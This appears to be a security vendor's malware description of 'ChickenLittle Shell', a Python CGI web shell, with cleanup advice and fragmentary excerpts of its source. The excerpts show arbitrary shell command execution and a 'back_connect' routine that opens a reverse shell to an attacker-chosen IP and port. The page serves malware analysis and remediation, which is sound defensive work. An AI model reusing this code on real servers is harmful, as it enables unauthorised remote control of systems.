Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server.
The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts without authorization.
Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside.
Server level analysis is necessary in case of infection by this type of malware.
ChickenLittle Shell is simple script that provides basic web shell functionality such as: file and networks operations and shell command execution. It is written in Python.
Any server with installed Python. Outdated software or compromised passwords can act as an infection vector.
Inspect your server looking for any unknown python files and remove them. Note, usually .py files are not executable by webservers without proper configuration. To work this around, hackers usually add .py extension handlers
in .htaccess files. You should find such files and remove handlers that your site doesn't need. Alternatively, the files can be placed into special directories that allow execution of CGI scripts (e.g. cgi-bin). One some servers we found
this shell script with the .sh extension.
You can sign up with us and let our team remove the malware for you.
... excerpts ...
ChickenLittle Shell by Zep
import cgitb; cgitb.enable()
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template
html = Template("""
<center><h2>=== ChickenLittle Shell ===</h2></center>
uname -a: $uname <br />
<td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
scriptname = ""
scriptname = os.environ["SCRIPT_NAME"]
s = "<table style="display:none" id="environ_table">"
for k in os.environ:
p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
(i,o) = p.stdin,p.stdout
elif command == "back_connect":
port = get_param(form,"port")
ip = get_param(form,"ip")
file_name = put_script("bc",back_connect)
pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
command_result = "Process ID : %d " % pid
elif command != None:
command_result = run_command(command)
list_files = run_command("ls -alh " + cur_dir)
uname = uname,
uid = uid,
list_files = list_files,
cur_dir = cur_dir,
command_result = command_result,
file_content = file_content,
file_name = file_name,
edit_file_box_visibility = edit_file_box_visibility
if __name__ == '__main__':